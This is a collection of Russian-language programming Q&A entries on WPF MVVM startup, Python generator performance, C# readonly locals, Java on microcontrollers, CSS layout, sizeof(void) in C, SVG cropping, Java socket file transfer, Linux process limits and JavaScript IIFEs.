Начал изучать MVVM и столкнулся, как наверное и многие другие, с определенным недопониманием. В многочисленных примерах реализации MVVM, доступных в сети, авторы разными способами подходят к точке входа в приложение (могу ошибаться в определении). Некоторые меняют аттрибут StartupUri, другие просто его полностью удаляют и в перегруженном методе OnStartup файла App.xaml.cs вручную создают экземпляр окна и устанавливают ему свойство DataContext. Нашел в сети несколько примеров по MVVM и mvvm-light (пример 1, пример 1, пример 3, пример 4 и пример 5) и в них автор вообще не изменяет App.xaml или App.xaml.cs и только в одном изменяет code-behind (так и не понял как это называется по-русски) представлений.
Мне ясно, что как и любой паттерн MVVM является рекомендацией и не запрещает отходить от правил в разумных пределах, но какая разница между этими подходами? Какие выгоды и подводные камни? Какой подход позволяет в дальнейшем более гибко расширять и сопровождать приложение (плагины, расширения и т.д.)?


Ответ

Я предпочитаю не использовать StartupUri, а переопределять OnStartup, и создавать главное окно там ([1], [2], [3]).
Причина в том, что указание StartupUri не позволяет задать DataContext снаружи окна. А хардкодирование DataContext'а внутри XAML неправильно, так как:
Согласно паттерну MVVM, View не должно руководить VM, и знать о нём должно как можно меньше. То есть код, обслуживающий UI, не должен создавать себе VM сам. Чаще всего VM должна получить ещё какие-то аргументы в конструкторе (например, модельные объекты), а это не получится сделать, если VM создаётся в XAML'е (откуда XAML может знать о модели?). Иногда перед открытием главного окна нужна дополнительная логика, требующая показа своего маленького окна (например, предложение обновить программу). Или нужн овыяснить, какое именно из окон нужно показывать в начале. Код, выясняющий это и при некоторых условиях показывающий дополнительное окно, проще разместить в OnStartup Главная VM может понадобиться вам для ещё чего-нибудь. Поэтому если её создаёт класс App, он может сохранить ссылку на неё у себя, чтобы другие (например, побочное окно) могли быть привязаны к тому же экземпляру VM. Иначе вам придётся лезть за главной VM в экземпляр главного окна.
В любом случае, MVVM не догма, делайте так, как вам удобнее.

Почему один способ проверки чисел в списке медленнее второго?

import time
lst = [-3, 3, 7, 0, -10, 23, -9, -8, -5, -10, 9, 3, -2, 8, -3, 6, -1, 0, 10, -1, -6, -6, 10, -7, 3, 8, 0, 7, 1, 5, -3, -6, 4, 6, -6, -4, -3, 10, 10, -5, -7, 0, -4, -8, 2, 9, 0, -10, -3, 3, -4, 9, -7, -8, 0, -1, 1, 7, 2, -1, 3, 0, 9, -9, 4, 7, 6, 10, 8, -6, 3, 1, 1, 9, -8, -8, 2, 4, 10, 1, 5, -1, -1, 5, -9, 9, -3, 3, 0, -6, 2, 5, 10, 10, 5, -6, -10, -2, -9, 'СТРОКА']
start1 = time.clock() a = all(isinstance(item, (int, float, complex)) for item in lst) finish1 = time.clock() print("Результат: {}, время:{:.2}ms".format(a, (finish1 - start1) * 1000))
start2 = time.clock() def is_numbers(iterable): for item in iterable: if not isinstance(item, (int, float, complex)): return False return True b = is_numbers(lst) finish2 = time.clock() print("Результат: {}, время:{:.2}ms".format(b, (finish2 - start2) * 1000))
Результат:
>>> ====== RESTART: /home/dzmitry/adasdsadasdasdsad.py ====== Результат: False, время:0.081ms Результат: False, время:0.042ms >>> ====== RESTART: /home/dzmitry/adasdsadasdasdsad.py ====== Результат: False, время:0.085ms Результат: False, время:0.043ms >>>
Функция all() эквивалентна
def all(iterable): for element in iterable: if not element: return False return True
Получается, что первый и второй способ равнозначны, за исключением использования генераторного выражения. Почему первый способ медленнее в 1.5-2 раза?


Ответ

Дело не в проверке типов—разница во времени сохраняется даже если заменить isinstance(item, ..) вызов на f(item), где f функция ничего не делает, а просто возвращает True значение: f = lambda item: True (чтобы all() весь lst список просматривала без раннего выхода). Более того, разница остаётся, если вообще вызов функции убрать:
In [1]: %timeit all(True for _ in range(1000)) 10000 loops, best of 3: 69.7 µs per loop
In [2]: def loop(): ...: for _ in range(1000): ...: if not True: ...: return False ...: return True ...:
In [3]: %timeit loop() 10000 loops, best of 3: 30.3 µs per loop
Явный for-цикл может быть эффективней генератора в CPython (результат также может зависеть от платформы).
all_(), реализованная вручную, слегка медленнее встроенной версии all(), которая реализует похожий цикл в C
def all_(iterable): for item in iterable: if not item: return False return True
то есть важно что генератор используется, а не то как all() реализована:
In [4]: %timeit all_(range(1, 1000)) 10000 loops, best of 3: 41.1 µs per loop In [5]: %timeit all_(i for i in range(1, 1000)) 10000 loops, best of 3: 93.9 µs per loop

Даже генератор списков (listcomp—списковое включение) может быть эффективней эквивалентного genexpr (хотя в Jython это с точностью до наоборот):
In [6]: %timeit [True for _ in range(1000)] 10000 loops, best of 3: 44.4 µs per loop
In [7]: %timeit list(True for _ in range(1000)) 10000 loops, best of 3: 83.2 µs per loop
Хотя между этими выражениями не должно быть особой разницы в Питоне 3: Why this list comprehension is faster than equivalent generator expression?
Байт-код ничего особо подозрительного не показывает:
>>> import dis >>> dis.dis(lambda: [True for _ in range(1000000)]) 1 0 LOAD_CONST 1 ( at 0x610efc445eea, file "", line 1>) 3 LOAD_CONST 2 ('..') 6 MAKE_FUNCTION 0 9 LOAD_GLOBAL 0 (range) 12 LOAD_CONST 3 (1000000) 15 CALL_FUNCTION 1 (1 positional, 0 keyword pair) 18 GET_ITER 19 CALL_FUNCTION 1 (1 positional, 0 keyword pair) 22 RETURN_VALUE >>> dis.dis(lambda: list(True for _ in range(1000000))) 1 0 LOAD_GLOBAL 0 (list) 3 LOAD_CONST 1 ( at 0x610efc4bc0b2, file "", line 1>) 6 LOAD_CONST 2 ('..') 9 MAKE_FUNCTION 0 12 LOAD_GLOBAL 1 (range) 15 LOAD_CONST 3 (1000000) 18 CALL_FUNCTION 1 (1 positional, 0 keyword pair) 21 GET_ITER 22 CALL_FUNCTION 1 (1 positional, 0 keyword pair) 25 CALL_FUNCTION 1 (1 positional, 0 keyword pair) 28 RETURN_VALUE
Первый фрагмент: создаёт функцию из listcomp объекта и вызывает её с результатом iter(range(1000000)). Второй фрагмент: создаёт функцию из genexpr и вызывает её с тем же аргументом, дополнительно вызывается list() функция с результатом.
listcomp реализуется достаточно прямолинейно:
>>> code = compile('[True for _ in range(1000000)]', '', 'eval') >>> code.co_consts[0] at 0x610efc445f2c, file "", line 1> >>> dis.dis(code.co_consts[0]) 1 0 BUILD_LIST 0 3 LOAD_FAST 0 (.0) >> 6 FOR_ITER 12 (to 21) 9 STORE_FAST 1 (_) 12 LOAD_CONST 0 (True) 15 LIST_APPEND 2 18 JUMP_ABSOLUTE 6 >> 21 RETURN_VALUE
Что близко к:
def listcomp(it): L = [] for _ in it: L.append(True) return L
где it = iter(range(1000000)), полученный ранее.
genexpr выглядит похоже:
>>> code = compile('list(True for _ in range(1000000))', '', 'eval') >>> code.co_consts[0] at 0x610efc44145d, file "", line 1> >>> dis.dis(code.co_consts[0]) 1 0 LOAD_FAST 0 (.0) >> 3 FOR_ITER 11 (to 17) 6 STORE_FAST 1 (_) 9 LOAD_CONST 0 (True) 12 YIELD_VALUE 13 POP_TOP 14 JUMP_ABSOLUTE 3 >> 17 LOAD_CONST 1 (None) 20 RETURN_VALUE
Что близко к:
def genexpr(it): for _ in it: yield True
созданный генератор (объект) передаётся во встроеннуюlist() функцию, которая реализована вызовом listextend(), что выполняет код близкий к listcomp(it), приведённому выше. Снова разница в производительности не в использовании list(), а в том что ей передан генератор (list(range(1000)) и list(iter(range(1000)) могут быть быстрее как list(i for i in range(1000)) так и [True for _ in range(1000)]).
Уже не так удивительно, что даже list([True for _ in range(1000)]), который казалось бы выполняет лишнюю работу, может быть быстрее list(True for _ in range(1000)) (CPython/Pypy 2/3, Ubuntu).
Не стоит слишком увлекаться микрооптимизациями—пишите самый простой и понятный код, который решает поставленную задачу. Не изменяйте код, пока измерения не показали, что это необходимо в вашем конкретном случае.

Локальная константа времени выполнения

В C++ для определения локальной константы времени выполнения можно написать так:
const auto c = f();
Далее, все попытки изменить c будут приводить к ошибке компиляции.
В C# такой возможности нет. Можно использовать readonly член подобным образом, но не локальную константу.
Почему существует такое ограничение (в чём причина отсутствия локальных констант а-ля C++) и какое каноническое решение имеется для обеспечения локальной константности времени выполнения на C#? Неужели для этого надо создавать отдельный read-only интерфейс?


Ответ

Стоит отметить, что по локальным readonly-переменным есть официальный proposal. Фича опоздала к C# 7, но у нее все шансы войти в C# 8.
Со стороны CLR для реализации нет никаких ограничений - readonly locals, как и все фичи C# со времен .NET 4.0 - это compile-time фичи - т.к. версия рантайма с тех пор не поменялась.
По сути, proposal сводится к нескольким пунктам:
возможности помечать параметры как readonly возможности помечать переменные как readonly шорткату let - эквиваленту readonly var

Локальные readonly, как и неизменяемые foreach iteration variable - это, прежде всего, защита от дурака/ошибки копипасты. И уже потом - способ указать компилятору на возможную оптимизацию замыканий.
На мой взгляд, сама по себе возможность вручную приписывать readonly к локальным переменным только ради в качестве защиты от потенциальной ошибки - неудобна для реального использования. Достаточно вспомнить о final в Java. Поэтому без шортката let фича будет достаточно бесполезной - ее будут использовать фанаты "безопасного кода" - те, кто сейчас принципиально не использует var и явно вписывают типы во всех упоминаниях генерика.
Остальные пойдут по пути наименьшего сопротивления - гораздо дешевле и проще исправить одну ошибку раз в месяц, чем приписывать readonly к каждой переменной. Ну и опять же, тесты, при правильном применении, решают проблему ошибок копипасты.
Более надежный способ защиты реализован, например, в F#, где локальные значения по умолчанию неизменяемы, а = вне объявления значения вообще не работает как оператор присвоения.
let x = 1 x = 2 // This expression should have type 'unit', but has type 'bool'
Для изменения значения разработчику придется сделать дополнительные телодвижения, как в строчке где переменная объявлена, так и в строчке, где переменная изменяется.
let mutable x = 1 x <- 2
Сам язык подталкивает его к тому, чтобы объявить еще одно значение, а не менять существующее. Одна из трех добродетелей программиста - лень - уберегает его от ошибки.
А просто так дописывать readonly к переменным, "как бы чего не вышло" - никто, кроме особых фанатов, не будет - из соображений той же лени.

Микроконтроллеры и Java

Интересует такой вопрос. Допустим, у меня есть какая-то кнопка, которая лежит на столе. Какие микроконтроллеры, устройства и т.п. можно использовать, чтобы реализовать взаимодействие этой кнопки и java?


Ответ

Поскольку Java изначально разрабатывалась для программирования холодильников и кофеварок, было бы странно, если бы возможность работы с железом была утрачена напрочь.
Самый простой вариант подключения кнопки к микроконтроллеру - это порты GPIO, которые широко распространены в embedded мире. Кнопка одним контактом подключается к выводу порта, другим - к земле (GND). Дальше микроконтроллер либо сам что-то делает, либо по UART/USB/Ethernet/WiFi/Bluetooth отправляет сообщение о нажатой кнопке куда-то еще.
Непосредственно по железу варианты есть следующие.
Использовать специализированный микроконтроллер, заточенный под Java.
Да, такие есть. Например семейство 3G-модулей Centerion. Прошивка представляет собой мидлет Java ME и может заливаться в том числе по воздуху. Прослушивание порта выглядит как-то так:
Vector inPins = new Vector(); inPins.addElement("GPIO11");
InPort inPort = new InPort(inPins); inPort.addListener(new InPortListener() { public void portValueChanged(int val) { System.out.println("Port value: " + val); } });

Использовать полноценную встраиваемую систему общего назначения на базе ARM-процессора, такую как BeagleBone или RaspberryPi.
Там у вас будет полноценный Linux с возможностью установки полноценной Java SE или Java SE Embedded. А порты будут доступны через файловую систему как устройства вроде /sys/class/gpio/gpio49. Можно взаимодействовать с портом обычными средствами файлового ввода-вывода (что будет относительно медленно, хотя и достаточно для многих задач) или через прямой досутп к памяти через memory-mapped файл /dev/mem (что будет быстро).
Но куда приятнее будет воспользоваться развесистым API сторонней библиотеки pi4j
GpioController gpioController = GpioFactory.getInstance(); GpioPinDigitalInput pin02 = gpioController.provisionDigitalInputPin(RaspiPin.GPIO_02,PinPullResistance.PULL_DOWN); pin02.addListener(new GpioPinListenerDigital() { @Override public void handleGpioPinDigitalStateChangeEvent(GpioPinDigitalStateChangeEvent gpioPinDigitalStateChangeEvent) { System.out.println("state: " + gpioPinDigitalStateChangeEvent.getState()); } });
Кроме того, существует еще и Java ME Embedded, предоставляющий нативный API доступа к портам в пакете com.oracle.deviceaccess
GPIOPin switchPin = null; switchPin = (GPIOPin) PeripheralManager.open(1); switchPin.setInputListener(new PinListener() { @Override public void valueChanged(PinEvent event) { // do something } });
К слову, жизнь тут не ограничена ARM, есть и MIPS и Intel Atom. Но подходы там те же.
Очень интересными выглядят сторонние программные платформы на основе Java:
MicroEJ. На Youtube есть ролик, где java-приложение с графикой исполняется на очень слабом железе (Cortex™-M0+ @48 MHz, 256 KB Flash, 32 KB RAM). Android Things от Google, ранее известная как Brillo.

Удивительно, но на Java можно писать под 8-битные AVR-микроконтроллеры (те самые, на которых построена Arduino)!
Это стало возможным благодаря HaikuVM, которая транслирует байткод Java из .class-файлов в С-структуры, линкует к ним интерпретатор и формирует на выходе обычный для AVR-микроконтроллеров HEX-файл, который шьется в железку как обычно.
Еще есть:
NanoVM - виртуальная машина подмножества Java, занимающая 8 кБ в флэш-памяти. uJ - эта VM крупнее (десятки килобайт), но обещает полную поддержку байткода, многопоточность и synchronized
Если вы хотите нопку подключить к Arduino, а его в свою очередь подключить к компьютеру и делать что-то на компьютере по нажатию на кнопку, попробуйте JArduino. Этот API требует залить на Arduino свою прошивку, после чего вы сможете взаимодействовать с устройством из обычной Java-программы на своем компьютере.

Как лучше сверстать многоугольник с изображением внутри?


Как лучше сверстать многоугольник подобного плана с изображением внутри? Изначально изображение квадратное.


Ответ

Вот рабочий вариант:
.polygon { position: relative; margin: 0 auto; width: 200px; height: 220px; overflow: hidden; } .cover { position: absolute; width: 200px; height: 220px; left: 0; top: 0; z-index: 2; } .count { position: absolute; right: 0; top: 0; background: red; padding: 10px 25px; color: #fff; font-weight: bold; font-family: Arial; font-size: 1.4em; border-radius: 10px; -moz-border-radius: 10px; -webkit-border-radius: 10px; z-index: 3; } .image { position: absolute; width: 104%; height: 104%; left: -2%; top: -1%; background-repeat: no-repeat; background-position: center; background-size: cover; }

Cover
22

Я специально не вставлял SVG файлом, чтоб вы могли подобрать нужные цвета, думаю, что с этим проблем не возникнет. Если не хочется долбать браузеры отрисовкой svg объектов, можно сделать обычный png-файл и наложить его по тому же принципу.

sizeof(void) == 1?

Случайно опечатался и получил от оператора sizeof - 1.
#include "stdio.h" int main(void) { printf("%d",sizeof(void)); /// 1 return 0; }
Может мне кто-нибудь объяснить в чем тут дело?


Ответ

Согласно стандарту C (раздел 6.2.5 Types)
19 The void type comprises an empty set of values; it is an incomplete object type that cannot be completed.
и (6.5.3.4 The sizeof and alignof operators)
1 The sizeof operator shall not be applied to an expression that has function type or an incomplete type, to the parenthesized name of such a type, or to an expression that designates a bit-field member. The alignof operator shall not be applied to a function type or an incomplete type.
Однако некоторые компиляторы имеют собственные расширения языка, которые все же определяют выражение sizeof( void ), как имеющее значение 1.
Дело в том, что тип void не сразу же появился в языке программирования C. Из Rationale for International Standard— Programming Languages— C раздел 6.4.1 Keywords
Several keywords were added in C89: const, enum, signed, void and volatile.
Ранее его роль играл тип char. Например, если вы хотели скопировать один объект в другой с использованием стандартной функции memmove, то соответствующая запись могла выглядеть как
memmove( ( char *)obj1, ( char * )obj2, n );
Подобного вида запись еще можно встретить в старых программах.
В настоящее время функция memmove имеет следующее объявление
void *memmove(void *s1, const void *s2, size_t n);
и, как известно, любой указатель может быть приведен неявно к типу void *, а потому никакого явного приведения типов для вызова этой функции не требуется. Вы можете написать просто
memmove( obj1, obj2, n );
при использовании этой функции с указателями любого типа.
И лишь со временем я C был введен тип void.
Из Rationale for International Standard— Programming Languages— C раздел 6.5.4 Cast operators
The new type void*, which has the same representation as char*, is therefore preferable for arbitrary pointers
По аналогии с типом char, так как указатели void * имеют такое же представление, как и указатели char *, в некоторых компиляторах сделали размер void равным 1, так как sizeof( *(char *)NULL ) равно 1. Однако, как следует из стандарта C этот тип не имеет размера, так как он всегда является неполным типом, а потому такая конструкция, как sizeof( void ), является некорректной, и компилтор должен выдавать сообщения об ошибке, если его собственные расширения отключены при компиляции программы.

SVG: удалить отступы по краям автоматически

Столкнулся с проблемой при верстке сайта. У меня есть ряд иконок SVG, которые выглядят примерно так:

Проблема в том, что вокруг самого изображения есть отступы до краев. Мне бы хотелось, чтобы этих отступов не было, потому что с ними каждую иконку при размещении в элементе приходится подгонять по размеру и позиционированию в css.
Я знаю, как убрать эти отступы с помощью Inkscape. Но это ручная работа, а иконок много.
Есть ли какая-то утилита, которая может убрать эти отступы автоматически? Предпочтительно под Linux (node, python подойдет).
Пример SVG: gist


Ответ

Короткий ответ
Вот такой скрипт
Он требует PhantomJS и работает следующим образом:
phantomjs svg-padding-remover.js path/to/image.svg > new.svg
Длинный ответ
Можно использовать PhantomJS для эмуляции браузера в командной строке. Соответственно, при этом для манипуляций с SVG доступны все возможные браузерные методы (читающим это просьба дать в комментариях ссылку получше).
Я использовал ответ Qwertiy (спасибо за идею!), чтобы написать такой скрипт командной строки.
Если скрипт максимально упростить (убрать разбор аргументов командной строки, обработку ошибок), и оставить только сам принцип работы, получится вот это:
remover.js
// здесь нужно указать путь до картинки var fs = require('fs'); var url = 'file://' + fs.absolute('1.svg');
// открываем файл svg как документ var page = require('webpage').create(); page.open(url, function () { // Вызов нашей функции, которая будет выполнена // в контексте открытого документа. // Она изменит документ (svg) необходимым нам образом. page.evaluate(svgPaddingRemover);
// вывод нового содержимого документа console.log(page.content);
// выход phantom.exit(); });
// Функция, которая изменяет документ. // В данном случае - корректирует viewBox, удаляет width и height. var svgPaddingRemover = function () { var svg = document.querySelector("svg"); var svgall = svg.querySelectorAll("*"); var l = Infinity, t = Infinity, r = -Infinity, b = -Infinity;
for (i = 0; i < svgall.length; i++) { var elem = svgall[i]; var bb = elem.getBBox();
if (bb.width && bb.height) { l = Math.min(l, bb.x); t = Math.min(t, bb.y); r = Math.max(r, bb.x + bb.width); b = Math.max(b, bb.y + bb.height); } }
svg.setAttribute("viewBox", l + ' ' + t + ' ' + (r - l) + ' ' + ' ' + (b - t)); svg.removeAttribute("width"); svg.removeAttribute("height"); };
Запуск скрипта:
phantomjs remover.js > cropped-image.svg

Дублирование проверки на null

Один из методов бизнес-логики начинается с кода валидации:
public void Update(ProductDto dto) { if (dto == null) { throw new ArgumentNullException(nameof(dto)); }
var validContext = new ValidationContext(dto); Validator.ValidateObject(dto, validContext);
//... }
Если в метод передается null, то я выбрасываю стандартное исключение ArgumentNullException и никакой дополнительной информации как видите не отсылаю.
Мне кажется, что блок проверки на null излишен, потому что в случае dto = null следующее за ним выражение var validContext = new ValidationContext(dto) так и так выбросит то же самое исключение:


Будет ли ругаться "практика правильного дизайна", если я сокращу метод так?
public void Update(ProductDto dto) { var validContext = new ValidationContext(dto); Validator.ValidateObject(dto, validContext);
//... }


Ответ

Да, такое изменение я бы не назвал правильным.
Дело в том, что вы тем самым вносите в ваш метод связность. Ваш код будет правильным лишь в том случае, если
конструктор ValidationContext проверяет входящий объект на null, и бросает исключение, и у вас до вызова этого конструктора нету другого кода, который использует dto или делает какую-то другую полезную работу.
Каждое из этих предположений нужно будет держать в голове, работая с данным кодом. Причём в коде придётся ещё и оставлять комментарий, который будет объяснять, что null не является валидным входным значением, и почему именно в этом месте нету проверки на null
В противоположность этому проверка в начале является практически самодокументируемым кодом, она сразу говорит читателю, что нулевое входное значение неверно.
Чем меньше нужно держать в голове, тем лучше, и тем меньше вероятность ошибки.

Ещё одно мелкое соображение в пользу ранней проверки: если вы видите stack trace упавшего на ArgumentNullException приложения, то ошибка скорее всего находится в методе на один фрейм выше метода, бросившего исключение. В случае «пропуска» плохого аргумента в глубину это соображение не работает.

java.lang.OutOfMemoryError: Java heap space при создании большого массива объектов (более 10 миллионов) в Java

У меня получилось создать массив около 2.7 миллионов, дальше ошибка памяти:
Exception in thread "main" java.lang.OutOfMemoryError: Java heap space


Ответ


У Вас просто кончилась память, выделенная под кучу(heap). Если необходимо хранить всю информацию в памяти, то используйте ключи для JVM
-Xms set initial Java heap size -Xmx set maximum Java heap size -Xss set java thread stack siz
например: java -Xmx6g myprogram

Способы создания объектов в C#

Я знаю 1 способ создать объекта в C#:
public static class ObjectCreator { public static T GetObject() where T : class { return (T)Activator.CreateInstance(typeof(T)); } }
Есть ли более производительные?
Update класс с известными способами:
public class ObjectCreator where T: new() { protected Func V4Lambda;
protected Func V5Lambda;
public ObjectCreator() { Type sType = typeof(T);
//V4 V4Lambda = Expression.Lambda>(Expression.New(sType)).Compile();
//V5 V5Lambda = DynamicModuleLambdaCompiler.GenerateFactory(); }
public T V1() { return (T)Activator.CreateInstance(typeof(T)); }
public T V2() { return new T(); }
public T V3() { return CustomActivator.CreateInstance(); }
public T V4() { return V4Lambda(); }
public T V5() { return V5Lambda(); } }
public static class CustomActivator { public static T CreateInstance() where T : new() { return ActivatorImpl.Factory(); }
private class ActivatorImpl where T : new() { private static readonly Expression> _expr = () => new T();
public static readonly Func Factory = _expr.Compile(); } }
public static class DynamicModuleLambdaCompiler { public static Func GenerateFactory() where T : new() { Expression> expr = () => new T(); NewExpression newExpr = (NewExpression)expr.Body;
var method = new DynamicMethod( name: "lambda", returnType: newExpr.Type, parameterTypes: new Type[0], m: typeof(DynamicModuleLambdaCompiler).Module, skipVisibility: true);
ILGenerator ilGen = method.GetILGenerator(); // Constructor for value types could be null if (newExpr.Constructor != null) { ilGen.Emit(OpCodes.Newobj, newExpr.Constructor); } else { LocalBuilder temp = ilGen.DeclareLocal(newExpr.Type); ilGen.Emit(OpCodes.Ldloca, temp); ilGen.Emit(OpCodes.Initobj, newExpr.Type); ilGen.Emit(OpCodes.Ldloc, temp); }
ilGen.Emit(OpCodes.Ret);
return (Func)method.CreateDelegate(typeof(Func)); } }
Результаты моего тестирования:


Ответ

В следующих статьях Сергея Теплякова
Исследуем new() ограничение в C# Dissecting the new() constraint in C#: a perfect example of a leaky abstraction
делается вывод, что самый быстрый способ создания объекта - это распарсить лямбду в выражение и скомпилировать его:
public static class DynamicModuleLambdaCompiler { public static Func GenerateFactory() where T:new() { Expression> expr = () => new T(); NewExpression newExpr = (NewExpression)expr.Body;
var method = new DynamicMethod( name: "lambda", returnType: newExpr.Type, parameterTypes: new Type[0], m: typeof(DynamicModuleLambdaCompiler).Module, skipVisibility: true);
ILGenerator ilGen = method.GetILGenerator(); // Constructor for value types could be null if (newExpr.Constructor != null) { ilGen.Emit(OpCodes.Newobj, newExpr.Constructor); } else { LocalBuilder temp = ilGen.DeclareLocal(newExpr.Type); ilGen.Emit(OpCodes.Ldloca, temp); ilGen.Emit(OpCodes.Initobj, newExpr.Type); ilGen.Emit(OpCodes.Ldloc, temp); }
ilGen.Emit(OpCodes.Ret);
return (Func)method.CreateDelegate(typeof(Func)); } }

public static class FastActivator where T : new() { ///

/// Extremely fast generic factory method that returns an instance /// of the type . /// public static readonly Func Create = DynamicModuleLambdaCompiler.GenerateFactory(); }

Method | Mean | StdDev | Gen 0 | ------------------------ |----------- |---------- |------- | ActivatorCreateInstance | 95.0161 ns | 1.0861 ns | 0.0005 | FuncBasedFactory | 6.5741 ns | 0.0608 ns | 0.0034 | FastActivator_T_Create | 5.1715 ns | 0.0466 ns | 0.0034 |

Как передать название файла по сокету?

Приложение будет передавать множество файлов, и мне важно, что бы они были переданы с названиями. Для этого нужно отправлять каждый раз сообщение с названием файла или это как то можно сделать иначе?


Ответ

Первым байтом отправляете длину имени файла, следующие 4 байта - длина файла, следом байты имени файла, а потом байты самого файла. Или, чтобы не заморачиваться с конвертацией данных, можно поля чуточку расширить:
Server.java
package com.example;
import java.io.File; import java.io.FileInputStream; import java.io.OutputStream; import java.io.IOException; import java.nio.ByteBuffer; import java.net.ServerSocket; import java.net.Socket;
public class Server { private static int PORT = 2121; private static String FOLDER = "./files";
public static void main(String[] args) { File sourceDir = new File(FOLDER);
try (ServerSocket listener = new ServerSocket(PORT)) { while (true) { try (Socket socket = listener.accept(); OutputStream out = socket.getOutputStream()) { for (String fileName : sourceDir.list()) { // Преобразовываем строку, содержащую имя файла, // в массив байт byte[] name = fileName.getBytes("utf-8"); // Отправляем длину этого массива out.write(name.length); // Отправляем байты имени out.write(name);
File file = new File(FOLDER + "/" + fileName);
// Получаем размер файла long fileSize = file.length(); // Конвертируем его в массив байт ByteBuffer buf = ByteBuffer.allocate(Long.BYTES); buf.putLong(fileSize); // И отправляем out.write(buf.array());
try (FileInputStream in = new FileInputStream(file)) { // Читаем файл блоками по килобайту byte[] data = new byte[1024]; int read; while ((read = in.read(data)) != -1) { // И отправляем в сокет out.write(data); } } catch(IOException exc) { exc.printStackTrace(); } } } catch(IOException exc) { exc.printStackTrace(); } } } catch(IOException exc) { exc.printStackTrace(); } } }
Client.java
package com.example;
import java.io.File; import java.io.FileOutputStream; import java.io.InputStream; import java.io.IOException; import java.nio.ByteBuffer; import java.net.Socket;
public class Client { private static int PORT = 2121; private static String HOST = "localhost"; private static String FOLDER = "./files";
public static void main(String[] args) { try (Socket s = new Socket(HOST, PORT); InputStream in = s.getInputStream()) {
// Читаем размер имени int nameSize; while((nameSize = in.read()) != -1) { // Читаем само имя byte[] name = new byte[nameSize + 1]; in.read(name, 0, nameSize); // Преобразовываем обратно в строку String fileName = new String(name, "utf-8").trim(); System.out.println(fileName);
File file = new File(FOLDER + "/" + fileName); try (FileOutputStream out = new FileOutputStream(file)) { // Читаем размер файл byte[] fileSizeBuf = new byte[8]; in.read(fileSizeBuf, 0, 8); // Преобразовываем в long ByteBuffer buf = ByteBuffer.allocate(Long.BYTES); buf.put(fileSizeBuf); buf.flip(); long fileSize = buf.getLong();
// Читаем содержимое файла блоками по килобайту int read = 0; byte[] data = new byte[1024]; while (read < fileSize) { read += in.read(data); // И пишем в файл out.write(data); } } catch(IOException exc) { exc.printStackTrace(); } } } catch(IOException exc) { exc.printStackTrace(); return; } } }

Отличие Tomcat и GlassFish

Здравствуйте. Ответьте, пожалуйста, в чем состоит отличие серверов GlassFish и Apache Tomcat. Может, какой-то из этих серверов лучше, может какой-то быстрее?


Ответ

Можно и по-русски. Хотя, что бы там ни говорили, программист просто обязан дружить с инглишем, иначе, рано или поздно, он застрянет в своём развитии. Вот, пожалуй, САМЫЕ главные отличия Tomcat и Glassfish: Glassfish имеет EJB-контейнер, а Tomcat - нет; Glassfish имеет развитую admin-консоль, Tomcat - совсем простую; Glassfish полностью реализует спецификацию JavaEE, Tomcat - нет; Glassfish имеет поддержку кластеризации, а на Tomcat её надо имитировать разными средствами.

Блок со внутренней тенью лишь у двух краев

Здравствуйте! Такая задача: сделать див со внутренней тенью лишь у двух краев: верхнего и нижнего. При этом слева и справа тени быть не должно. Сейчас я сделал это вот так: один див на 25px выходит за окно, другой не дает растянуть body, пряча остатки первого. Собственно вопрос: можно ли обойтись тут одним дивом и как?


Ответ

Можно сделать так: box-shadow: inset 0 15px 15px -15px #333 , inset 0 -15px 15px -15px #333; Тень будет только сверху и снизу. Посмотреть можно здесь: http://jsfiddle.net/shpQ4/2/ Тестировал только в IE 10, но думаю что работает во всех основных браузерах. Расширенный пример: http://jsfiddle.net/TaA29/

Подсчёт вхождений перекрывающейся подстроки в строку

Вхождение подстрок в строку обычно находится примерно таким образом:
print stroka.count("podstroka")
Проблема этого подхода в том, что, если у нас стоит условие найти вхождения перекрывающихся подстрок, оно работает неправильно.
Например, есть строка "avava avavava" и надо найти вхождения подстроки "vav". Код выше даст результат 2, однако, по логике, должно быть 3, так как в начале есть vav, потом два вхождения в vavav.
Как это правильно реализовать?


Ответ

Вот версия, которая избегает излишнего копирования входной строки: def count_overlapping_substrings(haystack, needle): count = 0 i = -1 while True: i = haystack.find(needle, i+1) if i == -1: return count count += 1
print(count_overlapping_substrings('avavrewwevavavewrewrew vavvavav ', 'vav')) # -> 6 Время исполнения -- квадратичное, как и у других вариантов, которые используют str.find() метод.

С# Windows Forms Живой поиск

Предположим, есть коллекция или массив значений. Как можно организовать "живой поиск" в comboBox как в поисковой системе google? Спасибо.


Ответ

На самом деле все решил попроще. Используется стандартный контрол, при изменении значения выполняется следующий метод:
class Class_CleverSearch {
public void Search(DataRow[] datarows, //Перечень наименований для отборки int i_max, //Максимальное количество позиций в списке ComboBox cb //ComboBox, значение которое набрано ) //Максимальное количество позиций в списке) {
cb.Items.Clear();
int i_kol = 0;
foreach (DataRow dr in datarows) { cb.Items.Add(dr[0].ToString()); i_kol++; if (i_kol > i_max) { break; } }
cb.DroppedDown = true; //Принудительно раскрываем ComboBox cb.SelectionStart = cb.Text.Length; }
}

Как автоматически отслеживать и прибивать зависшие процессы в Linux?

Есть боевой сервер на нем висит софт, временами происходит утечка при обработке файла и в итоге все виснет, я рассматриваю вариант как то отслеживать подвисший процесс и прибивать его когда процесс переваливает например за какие то пределы. Есть ли какой то инструмент для реализации этой функции?


Ответ

ulimit -v - (см. help ulimit). Можно ограничить максимальный размер виртуальной памяти процесса (в килобайтах) -- распространяется на потомков, но по каждому считается отдельно. Так же можно ограничить суммарный размер записываемых файлов, процессорное время, количество нитей.
Если программа слишком нагружает процессор, можно понизить её приоритетность (увеличив номер уровня приоритета) командами nice или renice. То же самое, но в конкуренции за доступ к диску меняет ionice (но тут немного сложнее и работает не всегда).
Если программа без особой причины постоянно нагружает процессор, можно ограничить процент использования процессора с помощью cpulimit. Эта утилита так же может завершать наблюдаемый процесс вместо притормаживания.

Самовыполняющиеся функции [дубликат]

На данный вопрос уже ответили: Что в Javascript значит синтакс ( function(){…} )( param1, param2); ? 7 ответов Зачем оборачивать блоки кода на JS в самовыполняющиеся функции?


Ответ

Переменные, объявленные внутри функции, являются локальными (находятся в её области видимости). Это даёт как минимум 3 полезных момента:
"Снаружи" не "достучаться" до того, что объявлено внутри функции. Не получится случайно затереть глобальную переменную, объявив переменную с таким же именем внутри функции. Глобальная область видимости не "захламляется" данными, которые не должны быть глобальными.
Самовыполняющаяся функция (Immediately-Invoked Function Expression, IIFE) позволяет воспользоваться этими преимуществами, не создавая глобальную функцию.
